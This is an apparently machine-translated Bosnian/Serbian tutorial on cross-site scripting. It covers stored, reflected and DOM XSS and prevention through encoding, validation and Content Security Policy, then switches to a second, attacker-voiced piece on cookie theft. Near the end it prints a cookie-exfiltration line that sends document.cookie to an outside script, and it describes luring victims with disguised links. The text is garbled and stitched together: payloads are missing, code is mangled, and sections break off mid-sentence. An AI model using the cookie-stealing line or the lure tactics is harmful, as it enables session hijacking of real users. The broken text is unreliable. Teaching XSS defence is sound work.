Pasivno xss. Easy Hack: Kako doći do podataka kroz uključivanje skriptova na više lokacija

I to je sveobuhvatan vodič za skriptiranje na više lokacija.

Prvi dio: pregled

Šta je XSS?

Skriptiranje na više lokacija ( engleski Cross-site scripting) Je napad ubrizgavanjem koda koji omogućava napadaču da izvrši zlonamjerni JavaScript u pretraživaču drugog korisnika.

Napadač ne napada direktno svoju žrtvu. Umjesto toga, iskorištava ranjivost na web stranici koju žrtva posjećuje i ubacuje zlonamjerni JavaScript kod. Pregledač žrtve prikazuje zlonamjerni JavaScript kao legitimni dio web stranice, a sama web stranica djeluje kao direktni saučesnik napadača.

Ubacivanje zlonamjernog JavaScript koda

Jedini način da napadač pokrene zlonamjerni JavaScript u pretraživaču žrtve je da ga ubaci u jednu od stranica koje žrtva preuzima sa web stranice. To je moguće ako web stranica dozvoljava korisnicima da unose podatke na svoje stranice, a napadač može ubaciti red koji će biti otkriven kao dio koda u pretraživaču žrtve.

Primjer ispod prikazuje jednostavnu skriptu na strani servera koja se koristi za prikaz posljednjeg komentara na web stranici:

print " "
print "Posljednji komentar:"
print database.latestComment
print ""

Skripta pretpostavlja da se komentar sastoji samo od teksta. Međutim, pošto je direktan korisnički unos omogućen, napadač bi mogao ostaviti ovaj komentar: "". Svaki korisnik koji posjeti stranicu sada će dobiti sljedeći odgovor:


zadnji komentar:

Kada korisnikov pretraživač učita stranicu, on će izvršiti sve, uključujući JavaScript sadržan u oznakama ... Ovo ukazuje da je samo prisustvo napadača koji ubacuje skriptu problem, bez obzira na to koji se određeni kod skripte zapravo izvršava.

Drugi dio: XSS napad

Učesnici XSS napada

Prije nego što detaljno opišemo kako XSS napad funkcionira, moramo identificirati aktere uključene u XSS napad. Generalno, postoje tri učesnika u XSS napadu: Web stranica, žrtva, i kreker.

  • Web stranica proizvodi HTML stranice za korisnike koji ih zatraže. U našim primjerima, nalazi se na http://website /.
    • Baza podataka web stranica je baza podataka koja pohranjuje neke od podataka koje su korisnici unijeli na stranicama stranice.
  • Žrtva Je običan korisnik web stranice koji od njega traži stranice koristeći svoj pretraživač.
  • Napada Je napadač koji namjerava pokrenuti napad na žrtvu iskorištavanjem XSS ranjivosti na stranici.
    • Cracker server Je web server pod kontrolom napadača s jedinom svrhom krađe povjerljivih informacija žrtve. U našim primjerima, nalazi se na http: // napadač /.

Primjer scenarija napada

Ova skripta će kreirati HTTP zahtjev na drugi URL koji će preusmjeriti pretraživač korisnika na server napadača. URL uključuje kolačiće žrtve kao parametar zahtjeva, kada HTTP zahtjev stigne na server napadača, napadač može izdvojiti ove kolačiće iz zahtjeva. Nakon što je napadač primio kolačiće, može ih koristiti za lažno predstavljanje žrtve i pokretanje naknadnog napada.

Od sada će se pozivati ​​gornji HTML kod zlonamjerni niz ili zlonamjerna skripta... Važno je shvatiti da je niz sam po sebi zlonamjeran samo ako se na kraju obrađuje kao HTML u pretraživaču žrtve, što se može dogoditi samo ako postoji XSS ranjivost na web stranici.

Kako ovaj primjer napada funkcionira

Dijagram ispod prikazuje primjer napadača koji izvodi napad:

  1. Napadač koristi jedan od obrazaca web stranice da ubaci zlonamjerni niz u bazu podataka web stranice.
  2. Žrtva traži stranicu sa web stranice.
  3. Stranica uključuje zlonamjerni niz iz baze podataka u odgovoru i šalje ga žrtvi.
  4. Žrtvin pretraživač pokreće zlonamernu skriptu unutar odgovora, šaljući žrtvin kolačić na server napadača.

XSS tipovi

Cilj XSS napada je uvek da se izvrši zlonamerna JavaScript skripta u pretraživaču žrtve. Postoji nekoliko fundamentalno različitih načina za postizanje ovog cilja. XSS napadi se često kategoriziraju u tri tipa:

  • Pohranjeni (trajni) XSS gdje zlonamjerni niz potiče iz baze podataka web stranice.
  • Odraženi (nestabilan) XSS gdje se zlonamjerni niz stvara iz zahtjeva žrtve.
  • DOMs XSS gdje se ranjivost javlja u kodu na strani klijenta, a ne u kodu na strani servera.

Prethodni primjer prikazuje pohranjeni XSS napad. Sada ćemo opisati još dva tipa XSS napada: Reflected XSS i DOM XSS.

Reflected XSS

U reflektiranom XSS napadu, zlonamjerni niz je dio zahtjeva žrtve upućene web stranici. Stranica prihvata i ubacuje ovaj zlonamjerni niz u odgovor koji šalje nazad korisniku. Dijagram ispod ilustruje ovaj scenario:

  1. Napadač prevari žrtvu da pošalje URL zahtjev web stranici.
  2. Stranica uključuje zlonamjerni niz iz URL-a zahtjeva u odgovoru žrtve.
  3. Žrtvin pretraživač izvršava zlonamernu skriptu sadržanu u odgovoru, šaljući žrtvin kolačić na server napadača.

Kako se uspješno odbraniti od XSS napada?

Odraženi XSS napad može izgledati bezopasno, jer zahtijeva od žrtve da pošalje zahtjev u njihovo ime koji sadrži zlonamjerni niz. Pošto niko neće dobrovoljno napasti sam sebe, čini se da ne postoji način da se napad izvede.

Kako se ispostavilo, postoje najmanje dva uobičajena načina da navedete žrtvu da pokrene reflektirani XSS napad na sebe:

  • Ako je korisnik određena osoba, napadač može poslati zlonamjerni URL žrtvi (na primjer, putem e-pošte ili instant messengera) i prevariti ih da otvore vezu za posjetu web stranici.
  • Ako je meta velika grupa korisnika, napadač bi mogao postaviti link na zlonamjerni URL (na primjer, na vlastitu web stranicu ili društvenu mrežu) i čekati da posjetitelji kliknu na vezu.

Obje ove metode su slične i obje mogu biti uspješnije korištenjem usluga skraćivanja URL-a za maskiranje zlonamjernog niza od korisnika koji bi ga mogli identificirati.

XSS u DOM-u

DOM XSS je varijanta i pohranjenog i reflektovanog XSS napada. U ovom XSS napadu, žrtvin pretraživač ne obrađuje zlonamjerni niz sve dok se stvarni JavaScript web stranice ne izvrši. Dijagram ispod ilustruje ovaj scenario za reflektovani XSS napad:

  1. Napadač kreira URL koji sadrži zlonamjerni niz i šalje ga žrtvi.
  2. Napadač prevari žrtvu da pošalje URL zahtjev web stranici.
  3. Stranica prihvaća zahtjev, ali ne uključuje zlonamjerni niz u odgovoru.
  4. Pregledač žrtve izvršava legitimnu skriptu sadržanu u odgovoru, zbog čega će zlonamjerna skripta biti umetnuta na stranicu.
  5. Pregledač žrtve izvršava zlonamjernu skriptu umetnutu na stranicu, šaljući žrtvin kolačić na server napadača.
Koja je razlika između XSS-a u DOM-u?

U prethodnim primjerima pohranjenih i reflektiranih XSS napada, server ubacuje zlonamjerni skript na stranicu, koji se zatim prosljeđuje kao odgovor žrtvi. Kada pretraživač žrtve primi odgovor, pretpostavlja da je zlonamjerna skripta dio legitimnog sadržaja stranice i automatski je izvršava u vrijeme učitavanja stranice, baš kao i svaki drugi skript.

U primjeru DOM XSS napada, zlonamjerna skripta nije umetnuta kao dio stranice; jedina skripta koja se automatski izvršava tokom učitavanja stranice je legitimni dio stranice. Problem je u tome što ova legitimna skripta direktno koristi korisnički unos za dodavanje HTML-a na stranicu. Pošto je zlonamjerni niz umetnut u stranicu pomoću innerHTML-a, on se analizira kao HTML, uzrokujući izvršavanje zlonamjerne skripte.

Ova razlika je mala, ali veoma važna:

  • U tradicionalnom XSS-u, zlonamjerni JavaScript se izvršava pri učitavanju stranice kao dio HTML-a koji šalje server.
  • U slučaju XSS-a u DOM-u, zlonamjerni JavaScript se izvršava nakon što se stranica učita, uzrokujući da ta legitimna JavaScript stranica pristupi korisničkom unosu (koji sadrži zlonamjerni niz) na nesiguran način.
Kako XSS radi u DOM-u?

U prethodnom primjeru JavaScript nije potreban; server može sam generirati sav HTML. Kada bi kod na strani servera bio bez ranjivosti, web stranica ne bi bila ranjiva na XSS ranjivost.

Međutim, kako web aplikacije postaju naprednije, sve više i više HTML stranica se generiše pomoću JavaScripta na strani klijenta, a ne na serveru. U svakom trenutku, sadržaj se mora promijeniti bez osvježavanja cijele stranice, to je moguće pomoću JavaScripta. Konkretno, ovo je slučaj kada se stranica osvježi nakon AJAX zahtjeva.

To znači da XSS ranjivosti mogu biti prisutne ne samo na serverskoj strani koda vaše web lokacije, već i na JavaScript strani klijenta vaše stranice. Stoga, čak i sa potpuno sigurnim kodom na strani servera, klijentski kod možda i dalje nije siguran da uključi korisnički unos kada se DOM ažurira nakon što se stranica učita. Ako se to dogodi, tada će kod na strani klijenta dozvoliti XSS napad bez greške koda na strani servera.

XSS zasnovan na DOM-u možda neće biti vidljiv serveru

Postoji poseban slučaj DOM XSS napada u kojem se zlonamjerni niz nikada ne šalje serveru web stranice: to se događa kada je zlonamjerni niz sadržan u komadu identifikatora URL-a (bilo što nakon znaka #). Pretraživači ne šalju ovaj dio URL-a serveru, tako da se web stranici ne može pristupiti putem serverskog koda. Kod klijenta, međutim, ima pristup njemu, pa je moguće izvršiti XSS napad nesigurnom obradom.

Ovaj slučaj nije ograničen na identifikator fragmenta. Postoji i drugi korisnički unos koji je nevidljiv serveru, kao što su nove HTML5 funkcije kao što su LocalStorage i IndexedDB.

treći dio:
Sprečavanje XSS

Tehnike prevencije XSS

Podsjećamo, XSS je napad ubrizgavanjem koda: korisnički unos se pogrešno tumači kao zlonamjerni kod. Sigurno rukovanje unosom je potrebno da bi se spriječila ova vrsta ubacivanja koda. Za web programera, postoje dva fundamentalno različita načina za obavljanje sigurne obrade unosa:

  • Kodiranje je način koji omogućava korisniku da unese podatke samo kao podatke i ne dozvoljava da se pretraživač obrađuje kao kod.
  • Validacija je način filtriranja unosa korisnika tako da ga pretraživač tumači kao kod bez zlonamjernih naredbi.

Iako su ovo fundamentalno različite metode prevencije XSS-a, one imaju nekoliko zajedničkih stvari koje je važno razumjeti kada koristite bilo koju od njih:

Kontekst Sigurno rukovanje unosom treba da se radi drugačije u zavisnosti od toga gde se na stranici koristi korisnički unos. ulazni/odlazni Sigurna obrada unosa može se izvršiti ili kada vaša stranica primi ulaz (ulazni promet) ili neposredno prije nego što stranica umetne korisnički unos u sadržaj stranice (izlazni). Klijent/server Sigurna obrada unosa može se obaviti ili na strani klijenta ili na strani servera, od kojih je svaki potreban pod različitim okolnostima.

Prije nego što detaljno objasnimo kako funkcionira kodiranje i validacija, opisujemo svaku od ovih tačaka.

Rukovanje korisničkim unosom u kontekstu

Postoji mnogo konteksta na web stranici u kojima se može primijeniti korisnički unos. Za svaki od njih moraju se poštovati posebna pravila kako korisnički unos ne bi mogao "pobjeći" iz konteksta i ne bi se mogao protumačiti kao zlonamjerni kod. Sljedeći su najčešći konteksti:

Koliko su važni konteksti?

U svim opisanim kontekstima, XSS ranjivost može nastati ako je korisnički unos umetnut prije prvog kodiranja ili validacije. Napadač bi mogao ubaciti zlonamjerni kod jednostavnim umetanjem zatvarača za ovaj kontekst nakon kojeg slijedi zlonamjerni kod.

Na primjer, ako u nekom trenutku web stranica uključuje korisnički unos direktno u HTML atribut, napadač bi mogao ubaciti zlonamjernu skriptu započinjući njihov unos znakom navoda, kao što je prikazano u nastavku:

Ovo se moglo spriječiti jednostavnim uklanjanjem svih navodnika u korisničkom unosu i bilo bi u redu, ali samo u ovom kontekstu. Ako je unos umetnut u drugi kontekst, završni graničnik će biti drugačiji i ubacivanje će biti moguće. Iz tog razloga, sigurno rukovanje unosom mora uvijek biti prilagođeno kontekstu u koji će korisnički unos biti umetnut.

Rukovanje dolaznim/odlaznim korisničkim unosom

Instinktivno se može činiti da se XSS može spriječiti kodiranjem ili provjeravanjem svih korisničkih unosa čim ga naša stranica primi. Na ovaj način, svi zlonamjerni nizovi će već biti neutralizirani kad god su uključeni na stranicu, a skripte za generiranje HTML-a neće morati brinuti o sigurnom rukovanju korisničkim unosom.

Problem je u tome što, kao što je ranije opisano, korisnički unos može biti umetnut u više konteksta na stranici. I ne postoji jednostavan način da se odredi kada korisnički unos dolazi u kontekst – kako će na kraju biti umetnut, a isti korisnički unos često treba da se ubaci u različite kontekste. Oslanjajući se na rukovanje dolaznim unosom kako bismo spriječili XSS, stvaramo vrlo krhko rješenje koje će biti sklono greškama. (Naslijeđeni PHP magični citati su primjer takvog rješenja.)

Umjesto toga, rukovanje izlaznim unosom bi trebalo da bude vaša glavna linija odbrane od XSS-a jer može uzeti u obzir specifičan kontekst unosa korisnika koji će biti umetnuti. U određenoj mjeri, ulazna validacija se može koristiti za dodavanje sekundarnog sloja zaštite, ali o tome kasnije.

Gdje je moguće bezbedno rukovati korisničkim unosom

U većini modernih web aplikacija, korisničkim unosom se rukuje i na kodu na strani servera i na kodu na strani klijenta. Kako bi se zaštitili od svih tipova XSS-a, sigurna obrada unosa mora biti obavljena u kodu na strani servera i kodu na strani klijenta.

  • Kako bi se zaštitili od tradicionalnog XSS-a, sigurno rukovanje unosom mora se obaviti u kodu na strani servera. Ovo se radi pomoću nekog jezika koji server podržava.
  • Da bi se zaštitili od XSS napada u DOM-u, gdje server nikada ne prima zlonamjerni niz (kao što je napad fragmenta ID-a opisan ranije), sigurno rukovanje unosom mora se obaviti u kodu na strani klijenta. Ovo se radi pomoću JavaScripta.

Sada kada smo objasnili zašto je kontekst bitan, zašto je važna razlika između ulazne i izlazne obrade unosa i zašto se sigurna obrada unosa mora obaviti i na strani klijenta i na strani servera, možemo nastaviti s objašnjavanjem kako dvije vrste sigurne obrade obrada ulaza (kodiranje i validacija) se zapravo obavlja.

Kodiranje

Kodiranje je izlaz iz situacije u kojoj je neophodno da pretraživač tumači korisnički unos samo kao podatak, a ne kao kod. Najpopularnija vrsta kodiranja u web razvoju je HTML maskiranje, koje pretvara znakove kao što su npr < i > v < i > respektivno.

Sljedeći pseudokod je primjer kako se korisnički unos (korisnički unos) može kodirati korištenjem HTML maskiranja, a zatim umetnuti na stranicu pomoću skripte na strani servera:

print " "
print "Posljednji komentar:"
print encodeHtml (userInput)
print ""

Ako korisnik unese sljedeći red, rezultirajući HTML će izgledati ovako:


zadnji komentar:

Budući da su svi znakovi sa posebnim značenjem maskirani, pretraživač neće analizirati nijedan dio korisničkog unosa poput HTML-a.

Kodiranje na strani klijenta i servera

Prilikom izvršavanja kodiranja na strani klijenta uvijek se koristi JavaScript, koji ima ugrađene funkcije koje kodiraju podatke za različite kontekste.

Kada radite kodiranje u kodu na strani servera, oslanjate se na funkcije dostupne u vašem jeziku ili okviru. Zbog velikog broja dostupnih jezika i okvira, ovaj vodič neće pokriti detalje kodiranja na bilo kojem određenom serverskom ili framework jeziku. Međutim, karakteristike JavaScript kodiranja na strani klijenta se također koriste prilikom pisanja koda na strani servera.

Kodiranje na strani klijenta

Kada kodirate korisnički unos na strani klijenta pomoću JavaScript-a, postoji nekoliko ugrađenih metoda i svojstava koja automatski kodiraju sve podatke u stil osjetljiv na kontekst:

Posljednji gore spomenuti kontekst (vrijednosti u JavaScriptu) nije uključen u ovu listu jer JavaScript ne pruža ugrađeni način za kodiranje podataka koji bi bili uključeni u JavaScript izvorni kod.

Ograničenja kodiranja

Čak i kada se kodira, moguće je koristiti zlonamjerne nizove u nekim kontekstima. Najbolji primjer ovoga je kada se korisnički unos koristi za pružanje URL-a, kao u primjeru ispod:

document.querySelector ("a"). href = userInput

Iako navedena vrijednost u svojstvu href elementa automatski ga kodira tako da postaje ništa drugo do vrijednost atributa, to samo po sebi ne sprječava napadača da ubaci URL koji počinje sa "javascript:". Kada se klikne na vezu, bez obzira na konstrukciju, ugrađeni JavaScript unutar URL-a će se izvršiti.

Kodiranje također nije efikasno rješenje kada želite da korisnici mogu koristiti neke od HTML kodova na stranici. Primjer bi bila stranica korisničkog profila na kojoj korisnik može koristiti prilagođeni HTML. Ako je ovaj obični HTML kodiran, stranica profila može se sastojati samo od običnog teksta.

U ovakvim situacijama kodiranje mora biti dopunjeno validacijom, o čemu ćemo se u nastavku upoznati.

Validacija

Validacija je čin filtriranja korisničkog unosa tako da se uklone svi zlonamjerni dijelovi bez potrebe za uklanjanjem cijelog koda u njemu. Jedna od najčešće korištenih vrsta provjere valjanosti u web razvoju omogućava vam korištenje nekih HTML elemenata (npr. i ), ali zabranjujući druge (npr.

Uz pravilno definiranu CSP politiku, pretraživač ne može učitati i izvršiti zlonamjerni ‑ script.js jer http: // napadač / nije naveden kao pouzdan izvor. Iako sajt nije mogao pouzdano da obrađuje unos korisnika, u ovom slučaju CSP politika je sprečila ranjivost i bilo kakvu štetu.

Čak i ako je napadač ubacio kod u kod skripte umjesto da se povezuje na eksternu datoteku, pravilno konfigurirana CSP politika bi također onemogućila ubrizgavanje u JavaScript kod, sprječavajući ranjivost i uzrokujući bilo kakvu štetu.

Kako da omogućim CSP?

Podrazumevano, pretraživači ne koriste CSP-ove. Da biste omogućili SCP na vašoj web stranici, stranice moraju sadržavati dodatno HTTP zaglavlje: Sadržaj ‑ Sigurnost ‑ Politika. Svaka stranica koja sadrži ovo zaglavlje će primijeniti sigurnosne politike u vrijeme učitavanja od strane pretraživača, pod uslovom da pretraživač podržava CSP.

Budući da se sigurnosna politika šalje sa svakim HTTP odgovorom, moguće je na serveru pojedinačno postaviti politiku za svaku stranicu. Ista politika se može primijeniti na cijelu web stranicu umetanjem istog CSP zaglavlja u svaki odgovor.

Vrijednost u zaglavlju Content-Security-Policy sadrži niz koji definira jednu ili više sigurnosnih politika koje će se primijeniti na vašu web-lokaciju. Sintaksa za ovu liniju će biti opisana kasnije.

Primeri naslova u ovom odeljku koriste prelome redova i uvlačenje radi jasnoće; ne bi trebalo da se pojavljuju u ovom naslovu.

CSP sintaksa

Sintaksa za CSP zaglavlje je sljedeća:

Sadržaj ‑ Sigurnost ‑ Politika:
direktiva izvorni izraz, izvorni izraz, ...;
direktiva ...;
...

Ova sintaksa ima dva elementa:

  • Direktive koji su nizovi koji označavaju tip resursa preuzetog sa date liste.
  • Izvorni izrazi je model koji opisuje jedan ili više servera sa kojih se mogu učitavati resursi.

Za svaku direktivu, podaci u izvornom izrazu određuju koji se izvori mogu koristiti za učitavanje resursa odgovarajućeg tipa.

Direktive

Sljedeće direktive se mogu koristiti u CSP zaglavlju:

  • povezati ‑ src
  • font-src
  • frame-src
  • img ‑ src
  • media-src
  • object-src
  • script-src
  • style-src

Dodatno ovome, posebna default-src direktiva se može koristiti za obezbjeđivanje zadane vrijednosti za sve direktive koje nisu uključene u zaglavlje.

Izvorni izraz

Sintaksa za kreiranje izvornog izraza je sljedeća:

protokol: // ime-hosta: broj-porta

Ime hosta može početi sa *, što znači da će bilo koja poddomena navedenog imena hosta biti razriješena. Isto tako, broj porta se može predstaviti kao *, što znači da će svi portovi biti dozvoljeni. Osim toga, protokol i broj porta se mogu preskočiti. Ako nije naveden nijedan protokol, politika će zahtijevati da se svi resursi učitaju pomoću HTTPS-a.

Pored gornje sintakse, izvorni izraz može alternativno biti jedna od četiri ključne riječi sa posebnim značenjem (uključeni citati):

"none" onemogućava resurse. "self" rješava resurse sa hosta na kojem se web stranica nalazi. "unsafe-inline" rješava resurse sadržane na stranici kao inline

Postoje dvije vrste XSS ranjivosti - pasivne i aktivne.

Aktivna ranjivost opasnije, pošto napadač ne treba da namami žrtvu pomoću posebnog linka, samo treba da ubaci kod u bazu podataka ili neki fajl na serveru. Tako svi posjetioci stranice automatski postaju žrtve. Može se integrirati, na primjer, korištenjem SQL injekcije. Stoga ne biste trebali vjerovati podacima pohranjenim u bazi podataka, čak i ako su obrađeni tokom umetanja.

Primjer pasivna ranjivost možete pronaći na samom početku članka. Ovdje je već potreban društveni inženjering, na primjer, važno pismo administracije stranice sa zahtjevom da provjerite postavke vašeg računa nakon vraćanja iz sigurnosne kopije. U skladu s tim, morate znati adresu žrtve ili jednostavno dogovoriti slanje neželjene pošte ili objavu na nekom forumu, a čak i ne činjenicu da će žrtve biti naivne i kliknuti na vaš link.

Štaviše, i POST i GET parametri mogu biti podložni pasivnoj ranjivosti. Sa POST parametrima, naravno, morate ići na neke trikove. Na primjer, preusmjeravanje s web stranice napadača.

Stoga je GET ranjivost malo opasnija, jer žrtvi je lakše uočiti pogrešan domen nego opcioni parametar (iako se url može u potpunosti kodirati).

Krađa kolačića

Ovo je najčešće citirani primjer XSS napada. U kolačićima, stranice ponekad pohranjuju neke vrijedne informacije (ponekad čak i korisničko ime i lozinku (ili njegov hash) korisnika), ali najopasnija je krađa aktivne sesije, stoga ne zaboravite kliknuti na link "Izlaz" na web lokacije, čak i ako se radi o kućnom računaru. Srećom, na većini resursa životni vijek sesije je ograničen.

Var ímg = nova slika (); ímg.srs = "http: //site/xss.php?" + document.cookie;

Stoga smo uveli ograničenja domena na XMLHttpRequest, ali se napadač ne boji, jer postoji